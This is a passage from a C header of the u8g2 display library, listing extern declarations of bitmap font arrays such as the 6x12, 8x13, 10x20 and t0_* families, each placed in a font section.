U8G2_FONT_SECTION(\"u8g2_font_6x10_mn\");\nextern const uint8_t u8g2_font_6x12_tf[] U8G2_FONT_SECTION(\"u8g2_font_6x12_tf\");\nextern const uint8_t u8g2_font_6x12_tr[] U8G2_FONT_SECTION(\"u8g2_font_6x12_tr\");\nextern const uint8_t u8g2_font_6x12_tn[] U8G2_FONT_SECTION(\"u8g2_font_6x12_tn\");\nextern const uint8_t u8g2_font_6x12_te[] U8G2_FONT_SECTION(\"u8g2_font_6x12_te\");\nextern const uint8_t u8g2_font_6x12_mf[] U8G2_FONT_SECTION(\"u8g2_font_6x12_mf\");\nextern const uint8_t u8g2_font_6x12_mr[] U8G2_FONT_SECTION(\"u8g2_font_6x12_mr\");\nextern const uint8_t u8g2_font_6x12_mn[] U8G2_FONT_SECTION(\"u8g2_font_6x12_mn\");\nextern const uint8_t u8g2_font_6x12_me[] U8G2_FONT_SECTION(\"u8g2_font_6x12_me\");\nextern const uint8_t u8g2_font_6x12_t_symbols[] U8G2_FONT_SECTION(\"u8g2_font_6x12_t_symbols\");\nextern const uint8_t u8g2_font_6x12_m_symbols[] U8G2_FONT_SECTION(\"u8g2_font_6x12_m_symbols\");\nextern const uint8_t u8g2_font_6x12_t_cyrillic[] U8G2_FONT_SECTION(\"u8g2_font_6x12_t_cyrillic\");\nextern const uint8_t u8g2_font_6x13_tf[] U8G2_FONT_SECTION(\"u8g2_font_6x13_tf\");\nextern const uint8_t u8g2_font_6x13_tr[] U8G2_FONT_SECTION(\"u8g2_font_6x13_tr\");\nextern const uint8_t u8g2_font_6x13_tn[] U8G2_FONT_SECTION(\"u8g2_font_6x13_tn\");\nextern const uint8_t u8g2_font_6x13_te[] U8G2_FONT_SECTION(\"u8g2_font_6x13_te\");\nextern const uint8_t u8g2_font_6x13_mf[] U8G2_FONT_SECTION(\"u8g2_font_6x13_mf\");\nextern const uint8_t u8g2_font_6x13_mr[] U8G2_FONT_SECTION(\"u8g2_font_6x13_mr\");\nextern const uint8_t u8g2_font_6x13_mn[] U8G2_FONT_SECTION(\"u8g2_font_6x13_mn\");\nextern const uint8_t u8g2_font_6x13_me[] U8G2_FONT_SECTION(\"u8g2_font_6x13_me\");\nextern const uint8_t u8g2_font_6x13_t_hebrew[] U8G2_FONT_SECTION(\"u8g2_font_6x13_t_hebrew\");\nextern const uint8_t u8g2_font_6x13_t_cyrillic[] U8G2_FONT_SECTION(\"u8g2_font_6x13_t_cyrillic\");\nextern const uint8_t u8g2_font_6x13B_tf[] U8G2_FONT_SECTION(\"u8g2_font_6x13B_tf\");\nextern const uint8_t u8g2_font_6x13B_tr[] U8G2_FONT_SECTION(\"u8g2_font_6x13B_tr\");\nextern const uint8_t u8g2_font_6x13B_tn[] U8G2_FONT_SECTION(\"u8g2_font_6x13B_tn\");\nextern const uint8_t u8g2_font_6x13B_mf[] U8G2_FONT_SECTION(\"u8g2_font_6x13B_mf\");\nextern const uint8_t u8g2_font_6x13B_mr[] U8G2_FONT_SECTION(\"u8g2_font_6x13B_mr\");\nextern const uint8_t u8g2_font_6x13B_mn[] U8G2_FONT_SECTION(\"u8g2_font_6x13B_mn\");\nextern const uint8_t u8g2_font_6x13B_t_hebrew[] U8G2_FONT_SECTION(\"u8g2_font_6x13B_t_hebrew\");\nextern const uint8_t u8g2_font_6x13B_t_cyrillic[] U8G2_FONT_SECTION(\"u8g2_font_6x13B_t_cyrillic\");\nextern const uint8_t u8g2_font_6x13O_tf[] U8G2_FONT_SECTION(\"u8g2_font_6x13O_tf\");\nextern const uint8_t u8g2_font_6x13O_tr[] U8G2_FONT_SECTION(\"u8g2_font_6x13O_tr\");\nextern const uint8_t u8g2_font_6x13O_tn[] U8G2_FONT_SECTION(\"u8g2_font_6x13O_tn\");\nextern const uint8_t u8g2_font_6x13O_mf[] U8G2_FONT_SECTION(\"u8g2_font_6x13O_mf\");\nextern const uint8_t u8g2_font_6x13O_mr[] U8G2_FONT_SECTION(\"u8g2_font_6x13O_mr\");\nextern const uint8_t u8g2_font_6x13O_mn[] U8G2_FONT_SECTION(\"u8g2_font_6x13O_mn\");\nextern const uint8_t u8g2_font_7x13_tf[] U8G2_FONT_SECTION(\"u8g2_font_7x13_tf\");\nextern const uint8_t u8g2_font_7x13_tr[] U8G2_FONT_SECTION(\"u8g2_font_7x13_tr\");\nextern const uint8_t u8g2_font_7x13_tn[] U8G2_FONT_SECTION(\"u8g2_font_7x13_tn\");\nextern const uint8_t u8g2_font_7x13_te[] U8G2_FONT_SECTION(\"u8g2_font_7x13_te\");\nextern const uint8_t u8g2_font_7x13_mf[] U8G2_FONT_SECTION(\"u8g2_font_7x13_mf\");\nextern const uint8_t u8g2_font_7x13_mr[] U8G2_FONT_SECTION(\"u8g2_font_7x13_mr\");\nextern const uint8_t u8g2_font_7x13_mn[] U8G2_FONT_SECTION(\"u8g2_font_7x13_mn\");\nextern const uint8_t u8g2_font_7x13_me[] U8G2_FONT_SECTION(\"u8g2_font_7x13_me\");\nextern const uint8_t u8g2_font_7x13_t_symbols[] U8G2_FONT_SECTION(\"u8g2_font_7x13_t_symbols\");\nextern const uint8_t u8g2_font_7x13_m_symbols[] U8G2_FONT_SECTION(\"u8g2_font_7x13_m_symbols\");\nextern const uint8_t u8g2_font_7x13_t_cyrillic[] U8G2_FONT_SECTION(\"u8g2_font_7x13_t_cyrillic\");\nextern const uint8_t u8g2_font_7x13B_tf[] U8G2_FONT_SECTION(\"u8g2_font_7x13B_tf\");\nextern const uint8_t u8g2_font_7x13B_tr[] U8G2_FONT_SECTION(\"u8g2_font_7x13B_tr\");\nextern const uint8_t u8g2_font_7x13B_tn[] U8G2_FONT_SECTION(\"u8g2_font_7x13B_tn\");\nextern const uint8_t u8g2_font_7x13B_mf[] U8G2_FONT_SECTION(\"u8g2_font_7x13B_mf\");\nextern const uint8_t u8g2_font_7x13B_mr[] U8G2_FONT_SECTION(\"u8g2_font_7x13B_mr\");\nextern const uint8_t u8g2_font_7x13B_mn[] U8G2_FONT_SECTION(\"u8g2_font_7x13B_mn\");\nextern const uint8_t u8g2_font_7x13O_tf[] U8G2_FONT_SECTION(\"u8g2_font_7x13O_tf\");\nextern const uint8_t u8g2_font_7x13O_tr[] U8G2_FONT_SECTION(\"u8g2_font_7x13O_tr\");\nextern const uint8_t u8g2_font_7x13O_tn[] U8G2_FONT_SECTION(\"u8g2_font_7x13O_tn\");\nextern const uint8_t u8g2_font_7x13O_mf[] U8G2_FONT_SECTION(\"u8g2_font_7x13O_mf\");\nextern const uint8_t u8g2_font_7x13O_mr[] U8G2_FONT_SECTION(\"u8g2_font_7x13O_mr\");\nextern const uint8_t u8g2_font_7x13O_mn[] U8G2_FONT_SECTION(\"u8g2_font_7x13O_mn\");\nextern const uint8_t u8g2_font_7x14_tf[] U8G2_FONT_SECTION(\"u8g2_font_7x14_tf\");\nextern const uint8_t u8g2_font_7x14_tr[] U8G2_FONT_SECTION(\"u8g2_font_7x14_tr\");\nextern const uint8_t u8g2_font_7x14_tn[] U8G2_FONT_SECTION(\"u8g2_font_7x14_tn\");\nextern const uint8_t u8g2_font_7x14_mf[] U8G2_FONT_SECTION(\"u8g2_font_7x14_mf\");\nextern const uint8_t u8g2_font_7x14_mr[] U8G2_FONT_SECTION(\"u8g2_font_7x14_mr\");\nextern const uint8_t u8g2_font_7x14_mn[] U8G2_FONT_SECTION(\"u8g2_font_7x14_mn\");\nextern const uint8_t u8g2_font_7x14B_tf[] U8G2_FONT_SECTION(\"u8g2_font_7x14B_tf\");\nextern const uint8_t u8g2_font_7x14B_tr[] U8G2_FONT_SECTION(\"u8g2_font_7x14B_tr\");\nextern const uint8_t u8g2_font_7x14B_tn[] U8G2_FONT_SECTION(\"u8g2_font_7x14B_tn\");\nextern const uint8_t u8g2_font_7x14B_mf[] U8G2_FONT_SECTION(\"u8g2_font_7x14B_mf\");\nextern const uint8_t u8g2_font_7x14B_mr[] U8G2_FONT_SECTION(\"u8g2_font_7x14B_mr\");\nextern const uint8_t u8g2_font_7x14B_mn[] U8G2_FONT_SECTION(\"u8g2_font_7x14B_mn\");\nextern const uint8_t u8g2_font_8x13_tf[] U8G2_FONT_SECTION(\"u8g2_font_8x13_tf\");\nextern const uint8_t u8g2_font_8x13_tr[] U8G2_FONT_SECTION(\"u8g2_font_8x13_tr\");\nextern const uint8_t u8g2_font_8x13_tn[] U8G2_FONT_SECTION(\"u8g2_font_8x13_tn\");\nextern const uint8_t u8g2_font_8x13_te[] U8G2_FONT_SECTION(\"u8g2_font_8x13_te\");\nextern const uint8_t u8g2_font_8x13_mf[] U8G2_FONT_SECTION(\"u8g2_font_8x13_mf\");\nextern const uint8_t u8g2_font_8x13_mr[] U8G2_FONT_SECTION(\"u8g2_font_8x13_mr\");\nextern const uint8_t u8g2_font_8x13_mn[] U8G2_FONT_SECTION(\"u8g2_font_8x13_mn\");\nextern const uint8_t u8g2_font_8x13_me[] U8G2_FONT_SECTION(\"u8g2_font_8x13_me\");\nextern const uint8_t u8g2_font_8x13_t_symbols[] U8G2_FONT_SECTION(\"u8g2_font_8x13_t_symbols\");\nextern const uint8_t u8g2_font_8x13_m_symbols[] U8G2_FONT_SECTION(\"u8g2_font_8x13_m_symbols\");\nextern const uint8_t u8g2_font_8x13_t_cyrillic[] U8G2_FONT_SECTION(\"u8g2_font_8x13_t_cyrillic\");\nextern const uint8_t u8g2_font_8x13B_tf[] U8G2_FONT_SECTION(\"u8g2_font_8x13B_tf\");\nextern const uint8_t u8g2_font_8x13B_tr[] U8G2_FONT_SECTION(\"u8g2_font_8x13B_tr\");\nextern const uint8_t u8g2_font_8x13B_tn[] U8G2_FONT_SECTION(\"u8g2_font_8x13B_tn\");\nextern const uint8_t u8g2_font_8x13B_mf[] U8G2_FONT_SECTION(\"u8g2_font_8x13B_mf\");\nextern const uint8_t u8g2_font_8x13B_mr[] U8G2_FONT_SECTION(\"u8g2_font_8x13B_mr\");\nextern const uint8_t u8g2_font_8x13B_mn[] U8G2_FONT_SECTION(\"u8g2_font_8x13B_mn\");\nextern const uint8_t u8g2_font_8x13O_tf[] U8G2_FONT_SECTION(\"u8g2_font_8x13O_tf\");\nextern const uint8_t u8g2_font_8x13O_tr[] U8G2_FONT_SECTION(\"u8g2_font_8x13O_tr\");\nextern const uint8_t u8g2_font_8x13O_tn[] U8G2_FONT_SECTION(\"u8g2_font_8x13O_tn\");\nextern const uint8_t u8g2_font_8x13O_mf[] U8G2_FONT_SECTION(\"u8g2_font_8x13O_mf\");\nextern const uint8_t u8g2_font_8x13O_mr[] U8G2_FONT_SECTION(\"u8g2_font_8x13O_mr\");\nextern const uint8_t u8g2_font_8x13O_mn[] U8G2_FONT_SECTION(\"u8g2_font_8x13O_mn\");\nextern const uint8_t u8g2_font_9x15_tf[] U8G2_FONT_SECTION(\"u8g2_font_9x15_tf\");\nextern const uint8_t u8g2_font_9x15_tr[] U8G2_FONT_SECTION(\"u8g2_font_9x15_tr\");\nextern const uint8_t u8g2_font_9x15_tn[] U8G2_FONT_SECTION(\"u8g2_font_9x15_tn\");\nextern const uint8_t u8g2_font_9x15_te[] U8G2_FONT_SECTION(\"u8g2_font_9x15_te\");\nextern const uint8_t u8g2_font_9x15_mf[] U8G2_FONT_SECTION(\"u8g2_font_9x15_mf\");\nextern const uint8_t u8g2_font_9x15_mr[] U8G2_FONT_SECTION(\"u8g2_font_9x15_mr\");\nextern const uint8_t u8g2_font_9x15_mn[] U8G2_FONT_SECTION(\"u8g2_font_9x15_mn\");\nextern const uint8_t u8g2_font_9x15_me[] U8G2_FONT_SECTION(\"u8g2_font_9x15_me\");\nextern const uint8_t u8g2_font_9x15_t_symbols[] U8G2_FONT_SECTION(\"u8g2_font_9x15_t_symbols\");\nextern const uint8_t u8g2_font_9x15_m_symbols[] U8G2_FONT_SECTION(\"u8g2_font_9x15_m_symbols\");\nextern const uint8_t u8g2_font_9x15_t_cyrillic[] U8G2_FONT_SECTION(\"u8g2_font_9x15_t_cyrillic\");\nextern const uint8_t u8g2_font_9x15B_tf[] U8G2_FONT_SECTION(\"u8g2_font_9x15B_tf\");\nextern const uint8_t u8g2_font_9x15B_tr[] U8G2_FONT_SECTION(\"u8g2_font_9x15B_tr\");\nextern const uint8_t u8g2_font_9x15B_tn[] U8G2_FONT_SECTION(\"u8g2_font_9x15B_tn\");\nextern const uint8_t u8g2_font_9x15B_mf[] U8G2_FONT_SECTION(\"u8g2_font_9x15B_mf\");\nextern const uint8_t u8g2_font_9x15B_mr[] U8G2_FONT_SECTION(\"u8g2_font_9x15B_mr\");\nextern const uint8_t u8g2_font_9x15B_mn[] U8G2_FONT_SECTION(\"u8g2_font_9x15B_mn\");\nextern const uint8_t u8g2_font_9x18_tf[] U8G2_FONT_SECTION(\"u8g2_font_9x18_tf\");\nextern const uint8_t u8g2_font_9x18_tr[] U8G2_FONT_SECTION(\"u8g2_font_9x18_tr\");\nextern const uint8_t u8g2_font_9x18_tn[] U8G2_FONT_SECTION(\"u8g2_font_9x18_tn\");\nextern const uint8_t u8g2_font_9x18_mf[] U8G2_FONT_SECTION(\"u8g2_font_9x18_mf\");\nextern const uint8_t u8g2_font_9x18_mr[] U8G2_FONT_SECTION(\"u8g2_font_9x18_mr\");\nextern const uint8_t u8g2_font_9x18_mn[] U8G2_FONT_SECTION(\"u8g2_font_9x18_mn\");\nextern const uint8_t u8g2_font_9x18B_tf[] U8G2_FONT_SECTION(\"u8g2_font_9x18B_tf\");\nextern const uint8_t u8g2_font_9x18B_tr[] U8G2_FONT_SECTION(\"u8g2_font_9x18B_tr\");\nextern const uint8_t u8g2_font_9x18B_tn[] U8G2_FONT_SECTION(\"u8g2_font_9x18B_tn\");\nextern const uint8_t u8g2_font_9x18B_mf[] U8G2_FONT_SECTION(\"u8g2_font_9x18B_mf\");\nextern const uint8_t u8g2_font_9x18B_mr[] U8G2_FONT_SECTION(\"u8g2_font_9x18B_mr\");\nextern const uint8_t u8g2_font_9x18B_mn[] U8G2_FONT_SECTION(\"u8g2_font_9x18B_mn\");\nextern const uint8_t u8g2_font_10x20_tf[] U8G2_FONT_SECTION(\"u8g2_font_10x20_tf\");\nextern const uint8_t u8g2_font_10x20_tr[] U8G2_FONT_SECTION(\"u8g2_font_10x20_tr\");\nextern const uint8_t u8g2_font_10x20_tn[] U8G2_FONT_SECTION(\"u8g2_font_10x20_tn\");\nextern const uint8_t u8g2_font_10x20_te[] U8G2_FONT_SECTION(\"u8g2_font_10x20_te\");\nextern const uint8_t u8g2_font_10x20_mf[] U8G2_FONT_SECTION(\"u8g2_font_10x20_mf\");\nextern const uint8_t u8g2_font_10x20_mr[] U8G2_FONT_SECTION(\"u8g2_font_10x20_mr\");\nextern const uint8_t u8g2_font_10x20_mn[] U8G2_FONT_SECTION(\"u8g2_font_10x20_mn\");\nextern const uint8_t u8g2_font_10x20_me[] U8G2_FONT_SECTION(\"u8g2_font_10x20_me\");\nextern const uint8_t u8g2_font_10x20_t_greek[] U8G2_FONT_SECTION(\"u8g2_font_10x20_t_greek\");\nextern const uint8_t u8g2_font_10x20_t_cyrillic[] U8G2_FONT_SECTION(\"u8g2_font_10x20_t_cyrillic\");\nextern const uint8_t u8g2_font_10x20_t_arabic[] U8G2_FONT_SECTION(\"u8g2_font_10x20_t_arabic\");\nextern const uint8_t u8g2_font_siji_t_6x10[] U8G2_FONT_SECTION(\"u8g2_font_siji_t_6x10\");\nextern const uint8_t u8g2_font_waffle_t_all[] U8G2_FONT_SECTION(\"u8g2_font_waffle_t_all\");\nextern const uint8_t u8g2_font_tom_thumb_4x6_t_all[] U8G2_FONT_SECTION(\"u8g2_font_tom_thumb_4x6_t_all\");\nextern const uint8_t u8g2_font_tom_thumb_4x6_tf[] U8G2_FONT_SECTION(\"u8g2_font_tom_thumb_4x6_tf\");\nextern const uint8_t u8g2_font_tom_thumb_4x6_tr[] U8G2_FONT_SECTION(\"u8g2_font_tom_thumb_4x6_tr\");\nextern const uint8_t u8g2_font_tom_thumb_4x6_tn[] U8G2_FONT_SECTION(\"u8g2_font_tom_thumb_4x6_tn\");\nextern const uint8_t u8g2_font_tom_thumb_4x6_te[] U8G2_FONT_SECTION(\"u8g2_font_tom_thumb_4x6_te\");\nextern const uint8_t u8g2_font_tom_thumb_4x6_mf[] U8G2_FONT_SECTION(\"u8g2_font_tom_thumb_4x6_mf\");\nextern const uint8_t u8g2_font_tom_thumb_4x6_mr[] U8G2_FONT_SECTION(\"u8g2_font_tom_thumb_4x6_mr\");\nextern const uint8_t u8g2_font_tom_thumb_4x6_mn[] U8G2_FONT_SECTION(\"u8g2_font_tom_thumb_4x6_mn\");\nextern const uint8_t u8g2_font_tom_thumb_4x6_me[] U8G2_FONT_SECTION(\"u8g2_font_tom_thumb_4x6_me\");\nextern const uint8_t u8g2_font_mystery_quest_24_tf[] U8G2_FONT_SECTION(\"u8g2_font_mystery_quest_24_tf\");\nextern const uint8_t u8g2_font_mystery_quest_24_tr[] U8G2_FONT_SECTION(\"u8g2_font_mystery_quest_24_tr\");\nextern const uint8_t u8g2_font_mystery_quest_24_tn[] U8G2_FONT_SECTION(\"u8g2_font_mystery_quest_24_tn\");\nextern const uint8_t u8g2_font_mystery_quest_28_tf[] U8G2_FONT_SECTION(\"u8g2_font_mystery_quest_28_tf\");\nextern const uint8_t u8g2_font_mystery_quest_28_tr[] U8G2_FONT_SECTION(\"u8g2_font_mystery_quest_28_tr\");\nextern const uint8_t u8g2_font_mystery_quest_28_tn[] U8G2_FONT_SECTION(\"u8g2_font_mystery_quest_28_tn\");\nextern const uint8_t u8g2_font_mystery_quest_32_tr[] U8G2_FONT_SECTION(\"u8g2_font_mystery_quest_32_tr\");\nextern const uint8_t u8g2_font_mystery_quest_32_tn[] U8G2_FONT_SECTION(\"u8g2_font_mystery_quest_32_tn\");\nextern const uint8_t u8g2_font_mystery_quest_36_tn[] U8G2_FONT_SECTION(\"u8g2_font_mystery_quest_36_tn\");\nextern const uint8_t u8g2_font_mystery_quest_42_tn[] U8G2_FONT_SECTION(\"u8g2_font_mystery_quest_42_tn\");\nextern const uint8_t u8g2_font_mystery_quest_48_tn[] U8G2_FONT_SECTION(\"u8g2_font_mystery_quest_48_tn\");\nextern const uint8_t u8g2_font_mystery_quest_56_tn[] U8G2_FONT_SECTION(\"u8g2_font_mystery_quest_56_tn\");\nextern const uint8_t u8g2_font_t0_11_tf[] U8G2_FONT_SECTION(\"u8g2_font_t0_11_tf\");\nextern const uint8_t u8g2_font_t0_11_tr[] U8G2_FONT_SECTION(\"u8g2_font_t0_11_tr\");\nextern const uint8_t u8g2_font_t0_11_tn[] U8G2_FONT_SECTION(\"u8g2_font_t0_11_tn\");\nextern const uint8_t u8g2_font_t0_11_te[] U8G2_FONT_SECTION(\"u8g2_font_t0_11_te\");\nextern const uint8_t u8g2_font_t0_11_mf[] U8G2_FONT_SECTION(\"u8g2_font_t0_11_mf\");\nextern const uint8_t u8g2_font_t0_11_mr[] U8G2_FONT_SECTION(\"u8g2_font_t0_11_mr\");\nextern const uint8_t u8g2_font_t0_11_mn[] U8G2_FONT_SECTION(\"u8g2_font_t0_11_mn\");\nextern const uint8_t u8g2_font_t0_11_me[] U8G2_FONT_SECTION(\"u8g2_font_t0_11_me\");\nextern const uint8_t u8g2_font_t0_11_t_all[] U8G2_FONT_SECTION(\"u8g2_font_t0_11_t_all\");\nextern const uint8_t u8g2_font_t0_11b_tf[] U8G2_FONT_SECTION(\"u8g2_font_t0_11b_tf\");\nextern const uint8_t u8g2_font_t0_11b_tr[] U8G2_FONT_SECTION(\"u8g2_font_t0_11b_tr\");\nextern const uint8_t u8g2_font_t0_11b_tn[] U8G2_FONT_SECTION(\"u8g2_font_t0_11b_tn\");\nextern const uint8_t u8g2_font_t0_11b_te[] U8G2_FONT_SECTION(\"u8g2_font_t0_11b_te\");\nextern const uint8_t u8g2_font_t0_11b_mf[] U8G2_FONT_SECTION(\"u8g2_font_t0_11b_mf\");\nextern const uint8_t u8g2_font_t0_11b_mr[] U8G2_FONT_SECTION(\"u8g2_font_t0_11b_mr\");\nextern const uint8_t u8g2_font_t0_11b_mn[] U8G2_FONT_SECTION(\"u8g2_font_t0_11b_mn\");\nextern const uint8_t u8g2_font_t0_11b_me[] U8G2_FONT_SECTION(\"u8g2_font_t0_11b_me\");\nextern const uint8_t u8g2_font_t0_12_tf[] U8G2_FONT_SECTION(\"u8g2_font_t0_12_tf\");\nextern const uint8_t u8g2_font_t0_12_tr[] U8G2_FONT_SECTION(\"u8g2_font_t0_12_tr\");\nextern const uint8_t u8g2_font_t0_12_tn[] U8G2_FONT_SECTION(\"u8g2_font_t0_12_tn\");\nextern const uint8_t u8g2_font_t0_12_te[] U8G2_FONT_SECTION(\"u8g2_font_t0_12_te\");\nextern const uint8_t u8g2_font_t0_12_mf[] U8G2_FONT_SECTION(\"u8g2_font_t0_12_mf\");\nextern const uint8_t u8g2_font_t0_12_mr[] U8G2_FONT_SECTION(\"u8g2_font_t0_12_mr\");\nextern const uint8_t u8g2_font_t0_12_mn[] U8G2_FONT_SECTION(\"u8g2_font_t0_12_mn\");\nextern const uint8_t u8g2_font_t0_12_me[] U8G2_FONT_SECTION(\"u8g2_font_t0_12_me\");\nextern const uint8_t u8g2_font_t0_12b_tf[] U8G2_FONT_SECTION(\"u8g2_font_t0_12b_tf\");\nextern const uint8_t u8g2_font_t0_12b_tr[] U8G2_FONT_SECTION(\"u8g2_font_t0_12b_tr\");\nextern const uint8_t u8g2_font_t0_12b_tn[] U8G2_FONT_SECTION(\"u8g2_font_t0_12b_tn\");\nextern const uint8_t u8g2_font_t0_12b_te[] U8G2_FONT_SECTION(\"u8g2_font_t0_12b_te\");\nextern const uint8_t u8g2_font_t0_12b_mf[] U8G2_FONT_SECTION(\"u8g2_font_t0_12b_mf\");\nextern const uint8_t u8g2_font_t0_12b_mr[] U8G2_FONT_SECTION(\"u8g2_font_t0_12b_mr\");\nextern const uint8_t u8g2_font_t0_12b_mn[] U8G2_FONT_SECTION(\"u8g2_font_t0_12b_mn\");\nextern const uint8_t u8g2_font_t0_12b_me[] U8G2_FONT_SECTION(\"u8g2_font_t0_12b_me\");\nextern const uint8_t u8g2_font_t0_13_tf[] U8G2_FONT_SECTION(\"u8g2_font_t0_13_tf\");\nextern const uint8_t u8g2_font_t0_13_tr[] U8G2_FONT_SECTION(\"u8g2_font_t0_13_tr\");\nextern const uint8_t u8g2_font_t0_13_tn[] U8G2_FONT_SECTION(\"u8g2_font_t0_13_tn\");\nextern const uint8_t u8g2_font_t0_13_te[] U8G2_FONT_SECTION(\"u8g2_font_t0_13_te\");\nextern const uint8_t u8g2_font_t0_13_mf[] U8G2_FONT_SECTION(\"u8g2_font_t0_13_mf\");\nextern const uint8_t u8g2_font_t0_13_mr[] U8G2_FONT_SECTION(\"u8g2_font_t0_13_mr\");\nextern const uint8_t u8g2_font_t0_13_mn[] U8G2_FONT_SECTION(\"u8g2_font_t0_13_mn\");\nextern const uint8_t u8g2_font_t0_13_me[] U8G2_FONT_SECTION(\"u8g2_font_t0_13_me\");\nextern const uint8_t u8g2_font_t0_13b_tf[] U8G2_FONT_SECTION(\"u8g2_font_t0_13b_tf\");\nextern const uint8_t u8g2_font_t0_13b_tr[] U8G2_FONT_SECTION(\"u8g2_font_t0_13b_tr\");\nextern const uint8_t u8g2_font_t0_13b_tn[] U8G2_FONT_SECTION(\"u8g2_font_t0_13b_tn\");\nextern const uint8_t u8g2_font_t0_13b_te[] U8G2_FONT_SECTION(\"u8g2_font_t0_13b_te\");\nextern const uint8_t u8g2_font_t0_13b_mf[] U8G2_FONT_SECTION(\"u8g2_font_t0_13b_mf\");\nextern const uint8_t u8g2_font_t0_13b_mr[] U8G2_FONT_SECTION(\"u8g2_font_t0_13b_mr\");\nextern const uint8_t u8g2_font_t0_13b_mn[] U8G2_FONT_SECTION(\"u8g2_font_t0_13b_mn\");\nextern const uint8_t u8g2_font_t0_13b_me[] U8G2_FONT_SECTION(\"u8g2_font_t0_13b_me\");\nextern const uint8_t u8g2_font_t0_14_tf[] U8G2_FONT_SECTION(\"u8g2_font_t0_14_tf\");\nextern const uint8_t u8g2_font_t0_14_tr[] U8G2_FONT_SECTION(\"u8g2_font_t0_14_tr\");\nextern const uint8_t u8g2_font_t0_14_tn[] U8G2_FONT_SECTION(\"u8g2_font_t0_14_tn\");\nextern const uint8_t u8g2_font_t0_14_te[] U8G2_FONT_SECTION(\"u8g2_font_t0_14_te\");\nextern const uint8_t u8g2_font_t0_14_mf[] U8G2_FONT_SECTION(\"u8g2_font_t0_14_mf\");\nextern const uint8_t u8g2_font_t0_14_mr[] U8G2_FONT_SECTION(\"u8g2_font_t0_14_mr\");\nextern const uint8_t u8g2_font_t0_14_mn[] U8G2_FONT_SECTION(\"u8g2_font_t0_14_mn\");\nextern const uint8_t u8g2_font_t0_14_me[] U8G2_FONT_SECTION(\"u8g2_font_t0_14_me\");\nextern const uint8_t u8g2_font_t0_14b_tf[] U8G2_FONT_SECTION(\"u8g2_font_t0_14b_tf\");\nextern const uint8_t u8g2_font_t0_14b_tr[] U8G2_FONT_SECTION(\"u8g2_font_t0_14b_tr\");\nextern const uint8_t u8g2_font_t0_14b_tn[] U8G2_FONT_SECTION(\"u8g2_font_t0_14b_tn\");\nextern const uint8_t u8g2_font_t0_14b_te[] U8G2_FONT_SECTION(\"u8g2_font_t0_14b_te\");\nextern const uint8_t u8g2_font_t0_14b_mf[] U8G2_FONT_SECTION(\"u8g2_font_t0_14b_mf\");\nextern const uint8_t u8g2_font_t0_14b_mr[] U8G2_FONT_SECTION(\"u8g2_font_t0_14b_mr\");\nextern const uint8_t u8g2_font_t0_14b_mn[] U8G2_FONT_SECTION(\"u8g2_font_t0_14b_mn\");\nextern const uint8_t u8g2_font_t0_14b_me[] U8G2_FONT_SECTION(\"u8g2_font_t0_14b_me\");\nextern const uint8_t u8g2_font_t0_15_tf[] U8G2_FONT_SECTION(\"u8g2_font_t0_15_tf\");\nextern const uint8_t u8g2_font_t0_15_tr[] U8G2_FONT_SECTION(\"u8g2_font_t0_15_tr\");\nextern const uint8_t u8g2_font_t0_15_tn[] U8G2_FONT_SECTION(\"u8g2_font_t0_15_tn\");\nextern const uint8_t u8g2_font_t0_15_te[] U8G2_FONT_SECTION(\"u8g2_font_t0_15_te\");\nextern const uint8_t u8g2_font_t0_15_mf[] U8G2_FONT_SECTION(\"u8g2_font_t0_15_mf\");\nextern const uint8_t u8g2_font_t0_15_mr[] U8G2_FONT_SECTION(\"u8g2_font_t0_15_mr\");\nextern const uint8_t u8g2_font_t0_15_mn[] U8G2_FONT_SECTION(\"u8g2_font_t0_15_mn\");\nextern const uint8_t u8g2_font_t0_15_me[] U8G2_FONT_SECTION(\"u8g2_font_t0_15_me\");\nextern const uint8_t u8g2_font_t0_15b_tf[] U8G2_FONT_SECTION(\"u8g2_font_t0_15b_tf\");\nextern const uint8_t u8g2_font_t0_15b_tr[] U8G2_FONT_SECTION(\"u8g2_font_t0_15b_tr\");\nextern const uint8_t u8g2_font_t0_15b_tn[] U8G2_FONT_SECTION(\"u8g2_font_t0_15b_tn\");\nextern const uint8_t u8g2_font_t0_15b_te[] U8G2_FONT_SECTION(\"u8g2_font_t0_15b_te\");\nextern const uint8_t u8g2_font_t0_15b_mf[] U8G2_FONT_SECTION(\"u8g2_font_t0_15b_mf\");\nextern const uint8_t u8g2_font_t0_15b_mr[] U8G2_FONT_SECTION(\"u8g2_font_t0_15b_mr\");\nextern const uint8_t u8g2_font_t0_15b_mn[] U8G2_FONT_SECTION(\"u8g2_font_t0_15b_mn\");\nextern const uint8_t u8g2_font_t0_15b_me[] U8G2_FONT_SECTION(\"u8g2_font_t0_15b_me\");\nextern const uint8_t u8g2_font_t0_16_tf[] U8G2_FONT_SECTION(\"u8g2_font_t0_16_tf\");\nextern const uint8_t u8g2_font_t0_16_tr[] U8G2_FONT_SECTION(\"u8g2_font_t0_16_tr\");\nextern const uint8_t u8g2_font_t0_16_tn[] U8G2_FONT_SECTION(\"u8g2_font_t0_16_tn\");\nextern const uint8_t u8g2_font_t0_16_te[] U8G2_FONT_SECTION(\"u8g2_font_t0_16_te\");\nextern const uint8_t u8g2_font_t0_16_mf[] U8G2_FONT_SECTION(\"u8g2_font_t0_16_mf\");\nextern const uint8_t u8g2_font_t0_16_mr[] U8G2_FONT_SECTION(\"u8g2_font_t0_16_mr\");\nextern const uint8_t u8g2_font_t0_16_mn[] U8G2_FONT_SECTION(\"u8g2_font_t0_16_mn\");\nextern const uint8_t u8g2_font_t0_16_me[] U8G2_FONT_SECTION(\"u8g2_font_t0_16_me\");\nextern const uint8_t u8g2_font_t0_16b_tf[] U8G2_FONT_SECTION(\"u8g2_font_t0_16b_tf\");\nextern const uint8_t u8g2_font_t0_16b_tr[] U8G2_FONT_SECTION(\"u8g2_font_t0_16b_tr\");\nextern const uint8_t u8g2_font_t0_16b_tn[] U8G2_FONT_SECTION(\"u8g2_font_t0_16b_tn\");\nextern const uint8_t u8g2_font_t0_16b_te[] U8G2_FONT_SECTION(\"u8g2_font_t0_16b_te\");\nextern const uint8_t u8g2_font_t0_16b_mf[] U8G2_FONT_SECTION(\"u8g2_font_t0_16b_mf\");\nextern const uint8_t u8g2_font_t0_16b_mr[] U8G2_FONT_SECTION(\"u8g2_font_t0_16b_mr\");\nextern const uint8_t u8g2_font_t0_16b_mn[] U8G2_FONT_SECTION(\"u8g2_font_t0_16b_mn\");\nextern const uint8_t u8g2_font_t0_16b_me[] U8G2_FONT_SECTION(\"u8g2_font_t0_16b_me\");\nextern const uint8_t u8g2_font_t0_17_tf[] U8G2_FONT_SECTION(\"u8g2_font_t0_17_tf\");\nextern const uint8_t 